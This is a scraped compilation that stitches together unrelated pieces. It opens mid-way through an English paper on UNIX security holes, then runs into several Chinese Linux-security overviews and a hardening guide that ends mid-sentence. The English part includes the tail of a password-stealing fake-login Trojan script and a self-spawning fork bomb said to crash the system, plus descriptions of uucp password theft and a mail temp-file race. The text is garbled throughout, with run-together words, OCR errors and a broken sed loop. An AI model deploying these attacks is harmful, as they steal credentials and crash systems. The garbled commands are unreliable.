/f/wwm/tmp/loginsleep 1echo "Login incorrect"stty echo# reset default interrupt character DEL (^?).stty intr# logout yourself username.kill -9 $1# OK.Figure 6. Trojan horse programAbove shell program is camouflaged to login, i.e. the illegal usersexcute the program on terminal and leave, waiting for the deceived soas to steal the user's password easily. In other cases, the invadersplant Trojan horse program under someone's userid. Once the userid be used to run the program, the invader will obtain the permission and then proceed cause the file damaged. For example the programs are command pwd, command su, etc ...4. Device special filesIn UNIX system, there are two kinds of device(that is, block deviceand character device) being treated as file and called as special file.Both of them are under /dev directory. Any visit to a special fileactually means a visit to a physical device. These special files is an important aspect of system security.1) MemoryFor physical memory and kernel memory, system V provides following files: /dev/mem and /dev/kmem. mem is a special file of memory reflection, which can be used for system check up or even system repairment. If the file is writable, its privilege can be stolen byplanting Trojan horse or by reading and rewriting memory content.2) Block deviceBecause the operating of system files involves reading and writing of block device, the management of block device in UNIX system V has three levels. Among them the highest one is the interface with the file system, which includes various kinds of reading and writhing of block device. Take a disk for example. If someone has the permission to visitthe disk, he can change files on it. In UNIX system, different disksare allowed to be loaded as file systems. An illegal user can load hisown soft disk as file system and on the disk there are changed systemfiles such as some setuid programs under root. By doing this he can loadhis own file system, run illegal setuid program and get higher privileges.3) Character deviceSuch as terminal device. In UNIX system, each user can enter the system through a terminal and the user has the permission to read or write onthe terminal he logged. Because the check of file privilege in UNIX system can be done only when the file is being opened. No more checks on reading and writing operation afterwards. So some users entered the system can design a monitoring program and obtain the information input into the terminal by the cheated.5. NetworkOne of the main network programs of UNIX is uucp (UNIX to UNIX copy) which can deliver files and execute commands between UNIX systems. Because of some historic reasons, uucp is likely the unsafest part.Here is one circumstances. A user can copy a /etc/passwd file of aremote system by using uucp, find some user who has not given passwords and enter the remote system by the way of this user.Another circumstances. In uucp mechanism, unencrypted password of a remote uucp account exists in a common system file /usr/lib/uucp/L.sys. After stealing root privileges, an illegal user can destroy the remote system by reading the file and obtaining passwords of every remote uucp account.6. The others1) MailIn BSD, SunOS etc. versions, utility program /bin/mail firstly runs mktemp() to get a temporary file, then makes a judgment whether tosend or to receive a mail. After getting a file name, a mail process maybe forced to give up CPU before writing the file. At the same time, other processes may occupy CPU and be able to link some important system files to the temporary file. When the mail runs for the second time, the temporary file that the mail is to write has been change into a systemfile(such as /etc/passwd). By doing this, system files can be changed easily.2) Background commandShell provides operation character &, and enables the user to give background commands. In UNIX system, a user can set up as many background processes as he like, up to the maximum defined by the system kernel. But even the number is far less then the maximum, the system functions may also be damaged. It is regretful that ps commands of manyUNIX versions can boot exactly mirror the status of background processes. Fig. 7 shows a very simple shell program:% cat call-selfcall-self% call-self &Figure 7. a very simple shell program(1)Once being run with background command, the program will createever-increasing processes until the system crashed. Even root can not stop it with kill command. What the situation will be if the program is being run according to Fig.8 ?% cat call-selfcall-self &% call-self &Figure 8. a very simple shell program(2)3) Job schedulingIn order to enable mutiprocess to visit the computer's CPU fairly,the time assigning department of the operation system should switch over to another process after a process used up its share of CPU source. UNIX provides timing and scheduling tools, such as at and batch command. Ifa privileged user setup privileges incorrectly of the list files at.allowand at.deny under /usr/lib/cron, unprivileged users may will cause great damage to the system.Besides, many game programs create some temporary files. Some virus and invaders can invade through these files. Therefore, we should keep alert to games.III. SECURITY MEASURESEfforts in different aspects are necessary to protect the system.Firstly, designers of the system should continually strengthen the security of the operation system, enhance security checkup, and provide safer versions of the system as well as more security checking tools. Secondly, both system managers and users should make clear their own responsibilities and ensure the security of the system jointly.1. System managerThe system manager has the important responsibility to keep the systemrunning safely and should manage the system carefully:1) Setup correct system files and privileges to visit the system directory.2) Chose root password and change them peroidly, make sure which rootuser has what privileges and prevent illegal users applying accounts.3) Frequently examine sulog file, search for traces of possible invaders.4) Examine the content of file /usr/lib/crontab to prevent anyone todamage the file system on purpose or plant Trojan horse.5) Make sure each user loads his own file system.6) As for network environment,. prevent revealing o information;. prevent analyzing of communicating amount;. check any motify of information sources;. check any facility error;. check any falsely claimed request to link2. UserIn order to ensure the security of his information, each user shouldcorrectly make full use ofsecurity mechanism:1) Chose suitable passwods,keep them safely and chang them periodly.2) Set up.profile, umask and make a backup.3) Encrypt importent text and make a backup.4) Reset the terminnal bemodifyingogin into the the system to preventbeing chealed.5) Make sure that you have logouted the system whe you leave the terminal. REFERENCE:[1] Stephen Cffin, UNIX The Complete Reference, Mcgraw-Hill Co.,1991[2] Ai R.Y., Security of Computer Operation System, China Computerword No.67, Mar, 4, 1992[3] Zhu L.H., On UNIX Security, China Computerworld, No.73, Dec,5,1990[4] Zhou Sh.d., An Loophole of UNIX and Its Analysis,Electric Brain Application Times, N.1, 1992[5] Guo W.J., Several Encrypt Measures of UNIX Files, China Computerworld, No.77, Dec,5, 1990[6] SUN Microsystems, SunOS Reference Manual, 1991[7] Hu X.M. etc, UNIX Structural Analysis, Zhejiang University Press,Feb,1991本文来自:★Yes黑客联盟技术论坛★/read.php?tid-3612.html。
linux 安全
linux 安全Linux是一种开源操作系统，相比其他商业操作系统具有较高的安全性。
下面就是Linux的几个安全特点。
首先，Linux有严格的用户权限管理。
Linux通过对用户的权限进行细化划分，包括最高权限的root用户和普通用户。
普通用户只能在自己的目录下进行操作，无法对系统文件进行修改，这样可以有效地防止攻击者通过用户的身份进行系统破坏。
其次，Linux有强大的防火墙。
Linux提供了iptables防火墙工具，可以通过配置规则来限制网络流量，从而保护系统的网络安全。
管理员可以配置只开放必要的端口，关闭所有不必要的服务，从而减少系统面临的攻击面。
另外，Linux有良好的日志管理机制。
Linux记录了各种系统操作日志，包括登录、文件访问、网络连接等信息。
管理员可以通过查看日志文件来及时发现系统的异常行为，并进行相应的应对措施。
此外，Linux的软件源和软件包管理机制也是非常安全的。
Linux系统发布商会对软件源进行审核和签名，确保软件没有被篡改或包含恶意代码。
而且，软件包管理工具可以自动检查并更新系统中的软件包，以修复已知的安全漏洞，从而保持系统的安全性。
最后，Linux社区具有强大的安全意识和技术支持。
Linux社区中有许多安全专家，能够及时分享和解决安全问题，保证系统的稳定和安全运行。
总的来说，Linux具有严格的用户权限管理、强大的防火墙、良好的日志管理机制、安全的软件源和软件包管理以及强大的安全社区支持等一系列安全特点，这使得Linux成为一款相对安全的操作系统。
当然，作为系统管理员，还需要做好定期的系统更新、安全漏洞修补、安全策略等方面的工作，以提高Linux系统的安全性。
第1章UNIX和Linux操作系统概述
第1章UNIX和Linux操作系统概述一谈到Linux就不得不谈到UNIX，因为Linux是从UNIX发展而来的。
Linux本身也是UNIX系统大家族中的一员。
毫无疑问，UNIX和Linux在目前和可以预见的将来都是最有影响的计算机操作系统。
UNIX和Linux系统被广泛地应用到大中企业级服务器和Web 服务器上，它们已经成为了当今的主流操作系统。
1.1 什么是UNIXUNIX是一个计算机操作系统，一个用来协调、管理和控制计算机硬件和软件资源的控制程序。
UNIX操作系统是一个多用户和多任务操作系统：多用户表示在同一时刻可以有多个用户同时使用UNIX操作系统而且他们互不干扰；多任务表示任何用户在同一时间可以在UNIX操作系统上运行多个程序。
与Windows操作系统不同的是UNIX主要的用户界面是命令行界面（UNIX也有图形界面），用户通过UNIX系统提供的命令来操作计算机系统。
UNIX一共有大约250多个命令，但是常用的很少。
Windows被称为用户友好的操作系统，因为普通用户很容易学习和使用。
UNIX被称为程序员友好的操作系统，因为程序员可以方便地重新配置UNIX操作系统使之适应于自己的工作环境。
UNIX系统不但可以使用在大中型计算机、小型计算机、工作站上，随着微型机的功能不断提高和Internet的发展，UNIX（特别是Linux）系统也越来越多地使用在微机上。
UNIX 得到企业的广泛应用的主要原因是该系统的功能强大、可靠性高、技术成熟、网络功能强大、开放性好等特点。
Linux被广泛地应用于Web服务器的另一个非常重要的原因是其成本非常低廉（应该是最低的），因为绝大多数Linux软件是免费的。
1.2 UNIX的简要发展史UNIX操作系统的诞生本身就是一个传奇。
事情可以追溯到20世纪60年代末期，当时美国麻省理工学院（MIT）、AT&T公司的贝尔（Bell）实验室和通用电气公司（GE）联合研发一个叫做Multics（Multiplexed Information and Computing System）的操作系统。
linux安全
linux安全Linux是一种开源操作系统，具有较高的安全性。
以下是关于Linux安全的一些重要方面。
首先，Linux具有强大的权限管理机制。
每个用户都有自己的账户和密码，可以根据需要创建不同的用户组。
管理员可以通过访问控制列表（ACL）对文件和目录进行细粒度的权限控制。
此外，Linux还支持访问控制的扩展功能，如强制访问控制（MAC）和强制访问安全（SELinux），可以更加精确地控制用户对系统资源的访问权限。
其次，Linux是开源的，拥有庞大的用户和开发者社区。
这意味着有数以千计的人可以审查和改进代码，快速修复漏洞和安全问题。
与专有操作系统相比，Linux的漏洞修复周期通常更短，因为有大量的专家参与其中。
另外，Linux操作系统的内核不容易受到恶意软件的感染。
Linux系统的设计理念是模块化和最小化，只加载必要的内核模块，减少了潜在的攻击面。
此外，Linux上的软件包管理工具大多数都来自官方软件仓库，通过数字签名验证，确保软件包的完整性和真实性，降低了恶意软件攻击的风险。
此外，Linux社区也提供了许多安全工具和解决方案，用于检测和防御各种类型的攻击。
例如，Linux上有许多开源的入侵检测系统（IDS）和入侵防御系统（IPS），可以及时发现和阻止潜在的入侵。
此外，Linux还具有丰富的防火墙和网络安全策略，可以帮助用户保护系统免受未经授权的访问。
总之，Linux具有良好的安全性能，得益于其强大的权限管理、开源的特性和庞大的用户社区。
然而，安全问题不能完全依赖于操作系统本身，用户仍需采取一些额外的措施来保护他们的系统和数据安全，如定期更新软件补丁、使用强密码、定期备份等。
只有综合考虑操作系统的安全特性和用户的安全实践，才能更好地保障系统的安全性。
网络安全 linux
网络安全 linux
在网络安全领域，Linux系统被广泛认为是最安全的操作系统之一。
其安全性主要体现在以下几个方面。
1. 强大的权限管理：Linux系统采用了基于权限的访问控制模型。
每个用户和资源都有自己的权限设置，系统管理员可以控制用户对文件和目录的访问权限，从而可以有效地防止未经授权的访问。
2. 内核安全：Linux内核是开源的，由全球开发者共同审查和改进，这意味着任何潜在的漏洞都能够被迅速发现和修复。
此外，Linux内核也具有丰富的安全功能，如堆栈保护、地址空间布局随机化（ASLR）等，可有效防御各种攻击。
3. 安全更新：Linux发行版通常拥有专门的安全团队，定期发布安全更新并提供及时修补程序。
这使得用户可以及时升级系统以修复已知的漏洞，从而降低受到攻击的风险。
4. 完整的审计日志：Linux系统具有完善的审计功能，可以记录每个用户的操作行为和系统事件，例如登录、文件访问等。
这些审计日志可以用于快速检测异常活动并进行调查。
5. 安全性强化工具：Linux系统提供了各种安全性强化工具，如防火墙，用于限制网络连接和过滤恶意流量；入侵检测系统（IDS）和入侵防御系统（IPS），用于监控和防御网络入侵等。
总之，Linux系统以其强大的权限管理、内核安全、及时的安全更新、完整的审计日志和丰富的安全性强化工具而受到广泛青睐，成为网络安全的首选操作系统之一。
Linux系统安全白皮书
Linux系统安全白皮书Linux安全白皮书L i n u x系统安全概要Linux 的安全概述UNIX 的系统安全和系统管理员有很大的关系安装越多的服务越容易导致系统的安全漏洞一些其它的操作系统如SCO 实际上更容易有安全漏洞因为为了更加用户友好这些操作系统集成了更多的服务Linux 本身是稳定和安全的但是它可以以不同的形式发行在安装Linux 时候最好先最小化安装然后再加上必要的软件这样可以减小某个程序出现安全隐患的可能如果管理得好Linux 可以是最安全的系统如果在系统中有隐患存在在网络上成千上万的自愿者就会指出隐患并给出修正大的公司比如商业软件公司只能把有限的人力用千解决这方面的问题把问题都公开出来对它们来说可能没有什么好处而且通过正规的发行和升级渠道一个小小修正到用户手中都要很长的时间也许这些修正会以补丁的方式出现但是商业软件的系统管理员都倾向千使用现成的软件而且自以为这些软件都是很专业的在编程的时候随时可能发生错误但是当有上万个人在看程序的源代码这些错误就能很快地被发现现在全球共有一千二百万的 Linux 拷贝想想看这是一种什么情况如果系统有安全漏洞很容易就被某个人发现了这一章将讨论一些保证服务器安全的一般方法我们假定这台服务器是连在Internet 上的在通常情况下有些服务如NFS Samba Imap 和Pop 只供内部用户使用的当然也可以把这台服务器和外界隔离这样就可以简单地避免外部的入侵但是这没有什么实际意义我们下面要介绍的是如何避免来自外部的和内部的攻击1.基础知识尽量少让外人知道有关系统的信息有时候简单地用finger 程序就能知道不少系统信息比如有多少用户管理员什么时候登录什么时候工作他们是谁谁现在正在使用这个系统以及其它有利千黑客猜出用户口令的信息你可以用一个强大的 finger daemon 和tcpd 限制可以连接到服务器的用户以及他们可以知道的有关系统的信息但是最好还是把finger 软件包卸载掉日志是了解 Linux 系统运行情况的唯一方法当然这是以黑客没有破坏日志文件为前提的但是这种情况很少见把所有的连接都记录在日志中可以发现攻击者和他们试图进行的攻击如果你看不懂日志可以向别人请教一定要学会看懂它们向别人请教你不懂的东西这是很正常的不要不好意思我自己就是从不断地犯错误和改正错误中学到不少知识的因为骄傲自大而不能学到东西和本身的资质差是两码事看下面的31．创建所有重要的日志文件的硬拷贝你可以学到怎样管理日志文件的一些有用的知识限制系统中SUID 的程序SUID 的程序是以root UNIX 世界中的上帝权限运行的程序有时候这是必须的但是在多数情况下这没有必要因为SUID 程序可以做任何root 可以做的事这样有更多的机会出现安全隐患也许它们有时候会带来安全隐患有时候不会但是黑客可以利用SUID 的程序来破坏系统的安全这就是一种叫e x ploit译者注也就是利用缓冲溢出的程序的程序的由来ex p l oi t 程序是一种利用SUID 程序的程序或脚本具有很大的破坏力可以用来得到root 的s hell 获取password 文件读其他人的邮件删除文件等等这方面的知识可以参考34．带 s 位的程序2.BIOS 安全设定引导口令禁止从软盘启动并且给BIOS 加上密码每次启动的时候都手工检查一下BIOS 这样可以提高系统的安全性禁止从软盘启动可以阻止别人用特殊的软盘启动你的计算机给BIOS 加上密码可以防止有人改变BIOS 的参数比如允许从软盘启动或不用输入口令就可以引导计算机3.安全策略有一点很重要而且必须指出的是如果你不知道要保护什么那么更本没有办法保证系统的安全所以必须要有一个安全策略基千这样的一个策略才可以决定哪些东西允许别人访问哪些不允许如何制定一个安全策略完全依赖千你对千安全的定义下面的这些问题提供一些一般性的指导方针你怎么定义保密的和敏感的信息•你想重点防范哪些人•远程用户有必要访问你的系统吗•系统中有保密的或敏感的信息吗•如果这些信息被泄露给你的竞争者和外面的人有什么后果•口令和加密能够提供足够的保护吗•你想访问 Internet 吗•你允许系统在 Internet 上有多大的访问量•如果发现系统被黑客入侵了下一步该怎么做这个列表很短真正的安全策略可能包含比这多得多的内容可能你要做的第一件事是评估一下自己的偏执程度任何一个安全策略多少都有一定程度的偏执也就是确定到底在多大程度上相信别人包括内部的人和外部的人安全策略必须在允许用户合理地使用可以完成工作所必须的信息和完全禁止用户使用信息之间找到平衡点这个平衡点就是由系统策略决定的4.口令这章的 Linux 安全概要就从口令的安全开始讲起许多人都把所有的东西保存在计算机上防止别人查看这些信息的方法就是用口令把计算机保护起来没有什么东西是绝对安全的与常识相反的是无法破解的口令是不存在的只要给足时间和资源所有的口令都能用社会工程译者注原文是 social engineering 找不出更好的翻译大致的意思是用社会和心理学的知识而不是用纯粹的技术手段或强行计算的方法猜出来通过社会工程或其它方法获得服务器的口令是最简单和最流行的入侵服务器的方法决大多数的技术支持人员很容易获得其他用户的口令因为用户的安全意识很差而且很轻易就相信自己的同事特别是帮助自己解决问题的人有很多登记在案的成功入侵就是因为一些别有用心的人利用安全管理上的松懈而获得成功的有时候在特定的时间在特定的地点上级或老板对员工喊话就有可能泄露机密导致可怕的后果因为破解口令是一项很耗时间和资源的工作所以应该使得口令文件难千破解这样即使黑客获取了口令文件也不能轻易破解作为一个系统管理员自己在每个周未运行一下口令破解程序是保证系统安全的好方法这有利千尽早地发现和替换那些很容易被猜出来的口令而且还要有一个好的口令检查机制在用户选择新口令或改变旧口令的时候来排除那些有安全隐患的口令那些字典里的单词或者全是大写或全是小写的以及没有包含数字或特殊字符的字符串是不能用来做口令的我建议用下面的规则选择有效的口令•口令至少要有6 个字符最好包含一个以上的数字或特殊字符•口令不能太简单所谓的简单就是很容易猜出来也就是用自己的名字电话号码生日职业或者其它个人信息作为口令•口令必须是有有效期的在一段时间之后就要更换口令•口令在这种情况下必须作废或者重新设定如果发现有人试图猜测你的口令而且已经试过很多次了5.口令长度安装完Linux 系统之后默认的最小口令长度为5 这就是说一个新的用户可以访问服务器那么他的口令必须多千5 字符但是这样是不够安全的最好口令的长度能够大千8可以强制用户使用8个字符以上的口令编辑／e tc／l o g i n．d e f s文件把最小口令长度由5 改成8 找到PASS_MIN_LEN 5 这一行改为PASS_MIN_LEN 8 login．defs 是很重要的配置文件可以在这个文件中设定一些其它的安全策略比如口令的有效期6.root 帐号root 帐号是 Unix 系统中享有特权的帐号 root 帐号是不受任何限制和制约的因为系统认为 root 知道自己在做些什么而且会按 root 说的做不问任何问题因此可能会因为敲错了一个命令导致重要的系统文件被删除用 root 帐号的时候要非常非常小心因为安全原因在不是绝对必要的情况下不要用 root 帐号登录特别要注意的是不在自己的服务器上的时候千万不要在别的计算机上用root 登录自己的服务器这是非常非常非常糟糕的一件事7.加密加密时要用到密匙密匙是一个特殊的数字把密匙和需要加密的信息经过加密算法加密之后只有知道密匙的人才能把信息读出来如果所有的计算机主机都在你的控制下加密当然是一个好方法但是如果其中一台被信任的主机被黑客控制了你马上就有危险了而且不仅仅是用户的帐号和口令有危险了在通常情况下加密是用来保证机密信息在系统中传送的安全如果一台计算机被控制了那么这些加密信息就会让人知道或是泄密了有一个好的安全策略这种危险的可能性会降到最低但是如果某台主机的密匙被泄露出去那么危险始终存在使用如OpenSSL SSH 和MD5 这样的加密技术是非常有用的可以参考后面的章节8./etc/exports 文件如果通过 NFS 把文件共享出来那么一定要配置／etc／exports 文件使得访问限制尽可能的严这就是说不要用通配符不允许对根目录有写权限而且尽可能只给只读权限编辑 exports 文件 vi ／etc／exports 加入例如/dir/to/export (ro,root_squash)/dir/to/export (ro,root_squash)／dir／to／export是你想共享出来的目录host．mydoma i n．c o m是允许访问这个目录的计算机<ro>代表只读 <root_squash>代表不允许对根目录进行写操作使这些改变生效你还要运行／usr／sbin／exportfs —a 命令注意在服务器上装NFS 服务是会有安全隐患的就我个人而言不建议你使用NFS9.禁止使用控制台程序一个最简单而且最常用的保证系统安全的方法就是禁止使用所有的控制台程序如shutdown 和h alt 可以运行下面的命令来实现[root@deep]# rm -f /etc/security/console.apps/servicename这里s ervicename 是你要禁止的控制台程序名除非你使用xdm 否则不要把xserver 文件删掉如果这样除了root 之外没有人可以启动X 服务器了如果使用xdm 启动X 服务器这时root 是唯一需要启动X 服务器的用户这才有必要把xserver 文件删掉例如[root@deep]# rm -f /etc/security/console.apps/halt[root@deep]# rm -f /etc/security/console.apps/poweroff[root@deep]# rm -f /etc/security/console.apps/reboot[root@deep]# rm -f /etc/security/console.apps/shutdown[root@deep]# rm -f /etc/security/console.apps/xserver (如果删除只有root 可以启动X).这些命令就可以禁止所有的控制台程序halt poweroff reboot 和shutdown 记住只有装了Xwindow 删除xerver 文件才会有效果注意根据我们前一章的介绍安装服务器 Xwindow 是没有安装上的上面说的那些文件可能不会出现在／etc／security 目录下的如果这样就可以不管这一节介绍的方法10.禁止控制台的访问为了禁止所有的控制台访问包括程序和文件请在／etc／pam．d／目录下的所有文件中给那些包含pam_console．so 的行加上注释这一步是上一节禁止使用控制台程序的延续下面的脚本可以自动完成这项工作转成root 身份创建di sa bl i n g．sh脚本文件touch disabling．sh接着加入下面这些行# !/bin/shcd /etc/pam.dfor i in * ; dosed '/[^#].*pam_console.so/s/^/#/' < $i > foo && mv foo $Idone用下面的命令使脚本有可执行的权限并执行它[root@deep]# chmod 700 disabling.sh[root@deep]# ./disabling.sh这样／etc／pam．d 目录下所有文件中包含pam_console．so 的行都被加上注释这个脚本运行完之后可以把它从系统中删掉11./etc/inetd.conf 文件inetd也叫作超级服务器根据网络请求装入网络程序i n e t d．conf文件告诉 inetd 监听哪些网络端口为每个端口启动哪个服务把 Linux 系统放在任何的网络环境中第一件要做的事就是了解一下服务器到底要提供哪些服务不需要的那些服务应该被禁止掉最好卸载掉这样黑客就少了一些攻击系统的机会查看／etc ／inetd．conf 文件了解一下 inetd 提供哪些服务用加上注释的方法在一行的开头加上＃号禁止任何不需要的服务再给 inetd 进程发一个SIGHUP 信号第一步把文件的许可权限改成600[root@deep]# chmod 600 /etc/inetd.conf第二步确信文件的所有者是root[root@deep]# stat /etc/inetd.conf这个命令显示出来的信息应该是File: "/etc/inetd.conf"Size: 2869 Filetype: Regular FileMode: (0600/-rw-------) Uid: ( 0/ root) Gid: ( 0/ root)Device: 8,6 Inode: 18219 Links: 1Access: Wed Sep 22 16:24:16 1999(00000.00:10:44)Modify: Mon Sep 20 10:22:44 1999(00002.06:12:16)Change: Mon Sep 20 10:22:44 1999(00002.06:12:16)第三步编辑i n etd．con f文件v i／et c／inetd．co nf禁止所有不需要的服务如ftp t e l n e t s h e ll l o g i n e x ec talk nta l k i m a p pop-2pop-3fin g e r auth 等等如果你觉得某些服务有用可以不禁止这些服务但是把这些服务禁止掉系统受攻击的可能性就会小很多改变后的i n etd．conf文件的内容如下面所示# To re-read this file after changes, just do a 'killall -HUP inetd'##echo stream tcp nowait root internal#echo dgram udp wait root internal#discard stream tcp nowait root internal#discard dgram udp wait root internal#daytime stream tcp nowait root internal#daytime dgram udp wait root internal#chargen stream tcp nowait root internal#chargen dgram udp wait root internal#time stream tcp nowait root internal#time dgram udp wait root internal## These are standard services.##ftp stream tcp nowait root /usr/sbin/tcpd in.ftpd -l -a#telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd## Shell, login, exec, comsat and talk are BSD protocols.##shell stream tcp nowait root /usr/sbin/tcpd in.rshd#login stream tcp nowait root /usr/sbin/tcpd in.rlogind#exec stream tcp nowait root /usr/sbin/tcpd in.rexecd#comsat dgram udp wait root /usr/sbin/tcpd sat#talk dgram udp wait root /usr/sbin/tcpd in.talkd#ntalk dgram udp wait root /usr/sbin/tcpd in.ntalkd#dtalk stream tcp wait nobody /usr/sbin/tcpd in.dtalkd## Pop and imap mail services et al##pop-2 stream tcp nowait root /usr/sbin/tcpd ipop2d#pop-3 stream tcp nowait root /usr/sbin/tcpd ipop3d#imap stream tcp nowait root /usr/sbin/tcpd imapd## The Internet UUCP service.##uucp stream tcp nowait uucp /usr/sbin/tcpd /usr/lib/uucp/uucico -l## Tftp service is provided primarily for booting. Most sites# run this only on machines acting as "boot servers." Do not uncomment# this unless you *need* it.##tftp dgram udp wait root /usr/sbin/tcpd in.tftpd#bootps dgram udp wait root /usr/sbin/tcpd bootpd## Finger, systat and netstat give out user information which may be# valuable to potential "system crackers." Many sites choose to disable# some or all of these services to improve security.##finger stream tcp nowait root /usr/sbin/tcpd in.fingerd#cfinger stream tcp nowait root /usr/sbin/tcpd in.cfingerd#systat stream tcp nowait guest /usr/sbin/tcpd /bin/ps -auwwx#netstat stream tcp nowait guest /usr/sbin/tcpd /bin/netstat -f inet## Authentication##auth stream tcp nowait nobody /usr/sbin/in.identd in.identd -l -e -o## End of inetd.conf注意改变了d．c on f文件之后别忘了给in e t d 进程发一个SIGHUP信号i n etkillall —HUP i netd[root@deep /root]# killall -HUP inetd第四步为了保证inetd．conf文件的安全可以用c h attr命令把它设成不可改变把文件设成不可改变的只要用下面的命令[root@deep]# chattr +i /etc/inetd.conf这样可以避免i n etd．con f文件的任何改变意外或是别的原因一个有i 属性的文件是不能被改动的不能删除或重命名不能创建这个文件的链接不能往这个文件里写数据只有系统管理员才能设置和清除这个属性如果要改变inetd．conf 文件你必须先清除这个不允许改变的标志[root@deep]# chattr -i /etc/inetd.conf12.TCP_WRAPPERS在默认情况下R edH a t L i nux允许所有的服务请求用TC P_WR APPE R S来保护服务器的安全使其免受外部的攻击比想象的要简单和轻松得多在／etc／hosts．deny 文件中加入 ALL:ALL@ALL, PARANOID 以禁止所有计算机访问你的服务器然后在／e tc／hosts．al l ow文件中一个一个加入允许访问你的服务器的计算机这种作法是最安全的TCP_WRAPPERS 是由两个文件控制的依次是／etc／hosts．allow 和／etc／hosts．deny 判断是依次进行的具体的规则如下•如果在／etc／hosts．allow 文件中有匹配的项daemon client 那么允许访问•否则查看／etc／hosts．deny 如果找到匹配的项那么访问被禁止•否则访问被允许第一步编辑hosts．deny 文件vi ／etc／hosts．deny 加入下面这些行Access is denied by default.# Deny access to everyone.ALL: ALL@ALL, PARANOID #Matches any host whose name does not match its address, see bellow.这样做的意思是所有的服务访问位置如果没有被明确地允许也就是在／etc／hosts．allow 中找不到匹配的项就是被禁止的注意加上PARANOID 参数之后如果要在服务器上使用 telnet 或ftp 服务就要在服务器的／e tc／ho s t s文件中加入允许使用te l n e t和ftp服务的客户端计算机的名字和IP 地址否则在显示登录提示之前因为DNS 的域名解析可能要等上儿分钟时间第二步编辑ho sts．a ll o w文件vi／etc／hosts．all ow例如可以加入下面这些行被授权访问的计算机要被明确地列出来sshd: 208.164.186.1 被授权访问的计算机的 IP 地址是 208．164．186．1 主机名是 gate．openarch．com 允许使用的服务是sshd第三步 tcpdchk 是检查 TCP_WAPPERS 配置的程序它检查 TCP_WAPPERS 的配置并报告它可以发现的问题或潜在的问题在所有的配置都完成了之后请运行 tcpdchk 程序[root@deep]# tcpdchk13./etc/aliases 文件aliases 文件如果管理错误或管理得太粗心了就会造成安全隐患例如很多的软件产商都把 decode 这个别名放在 aliases 文件里这样做的目的是为了方便通过em ail传送二进制文件在发送邮件的时候用户把二进制文件用uuencode转成ASCII 文件然后把结果发给接收端的 decode 由这个别名让邮件信息通过／usr／bin／uuencode 程序把二进制文件重新转换成 ASCII 文件如果允许 decode 出现在 aliases 文件中可以想象将会有什么样的安全隐患把定义 decode 这个别名的行从 aliases 文件中删除同样地每一个会运行程序的别名都要好好查看一下很有可能要把它们删除掉要使改动生效还必须运行[root@deep]# /usr/bin/newaliases编辑a liases 文件vi ／etc／aliases 删除或注释掉下面这些行# Basic system aliases -- these MUST be present.MAILER-DAEMON: postmasterpostmaster: root# General redirections for pseudo accounts.bin: rootdaemon: root#games: root ☒remove or comment out.#ingres: root ☒remove or comment o u t.nobody: root#system: root ☒remove or comment out.#toor: root ☒remove or comment out.#uucp: root ☒remove or comment out.# Well-known aliases.#manager: root ☒remove or comment out.#dumper: root ☒remove or comment out.#operator: root ☒remove or comment o u t.# trap decode to catch security attacks#decode: root# Person who should get root's mail#root: marc别忘了运行／usr／bin／newaliases 使改变生效14.防止sendmail 被没有授权的用户滥用最新版的se n d m a il8．9．3集成了很强大的防止垃圾邮件anti-s pam的功能可以防止邮件服务器被没有授权的用户滥用要实现这个功能可以通过编辑／etc／sendmail．cf 文件改变配置文件以阻止那些发垃圾邮件的人编辑s e ndm a il．cf文件vi／etc／s e ndm a il．cf把这一行O PrivacyOptions=authwarnings改为O PrivacyOptions=authwarnings,noexpn,novrfy这些改变可以防止发垃圾邮件的人使用se ndm a il中的EX PN和VRF Y命令这些命令经常被没有授权的人使用参考本书se ndma il配置这一节以获得更多这方面的信息编辑s e ndm a il．cf文件vi／etc／s e ndm a il．cf把这一行O SmtpGreetingMessage=$j Sendmail $v/$Z; $b改为:O SmtpGreetingMessage=$j Sendmail $v/$Z; $b NO UCE C=xx L=xx这将改变se n d m a il接受连接时所显示的提示信息你要把C=xx L=xx中的xx 改成你所在的国家和地区编码例如我是这样写的C=CA L=QC 代表加拿大魁北克这个改变不会对se ndma il有什么影响但是news．adm in．net-abus e．em a il新闻组的人建议这么做主要是为了预防法律上的问题15.使系统对ping 没有反应防止你的系统对 ping 请求做出反应对千网络安全很有好处因为没人能够 ping 你的服务器并得到任何反应 TCP／IP 协议本身有很多的弱点黑客可以利用一些技术把传输正常数据包的通道用来偷偷地传送数据使你的系统对 ping 请求没有反应可以把这个危险减到最小用下面的命令echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all运行完这个命令后系统对ping 就没有反应了可以把这一行加到／etc／rc．d／rc．local 文件中去这样当系统重新启动的时候该命令就会自动运行对ping 命令没有反应至少可以把绝大多数的黑客排除到系统之外因为黑客不可能知道你的服务器在哪里重新恢复对ping 的响应可以用下面的命令echo 0 > /proc/sys/net/ipv4/icmp_echo_ignore_all"16.不要显示系统提示信息如果你不想让远程登录的用户看到系统的提示信息你可以改变／etc／inetd．conf 文件中的 telnet 设置telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd -h在未尾加上-h 参数可以让daemon 不显示任何系统信息只显示登录提示当然只有在服务器上装了telnet 服务器才有这样做的必要17./etc/host.conf 文件Linux 用解析器 resolver 库把主机名翻译成 IP 地址／etc／host．conf 文件定义主机名是怎样解析的／etc／host．conf 文件中的项告诉解析器库用什么服务以什么顺序解析主机名编辑host．conf 文件vi ／etc／host．conf 加入下面这些行# Lookup names via DNS first then fall back to /etc/hosts.order bind,hosts# We have machines with multiple IP addresses.multi on# Check for IP address spoofing.nospoof onorder 选项指明的是选择服务的顺序上面 order bind, hosts 说的是解析器库解析文件名的时候先查询域名服务器然后再查看／etc／hosts 文件因为性能和安全上的原因最好将解析器库的查找顺序设成先查域名服务器 bind 当然也要先安装了 DNS／BIND 软件否则这样配置根本没有任何作用mul t i选项决定在／etc／hosts文件中出现的主机能不能有多个IP地址多个网络界面具有多个IP 网络界面的主机被称为具有多个网络界面multiomed 因为同时有多个IP 地址也就意味着这台主机有多个网络界面例如网关服务器就有多个IP 地址必须把这个选项设成ONnospoof 选项指明不允许 IP 伪装 IP 伪装是把自己伪装成别的计算机去欺骗其它的计算机获得它的信任这种攻击方法把自己伪装成别的服务器并且与其它客户机服务器和大型数据存储系统建立网络连接或其它类型的网络活动不管对任何类型的服务器这个选项都要设成ON18.路由协议路由和路由协议会导致一些问题IP 原路径路由IP source routing 也就是IP 包包含到达底目的地址的详细路径信息是非常危险的因为根据RFC 1122 规定目的主机必须按原路径返回这样的IP 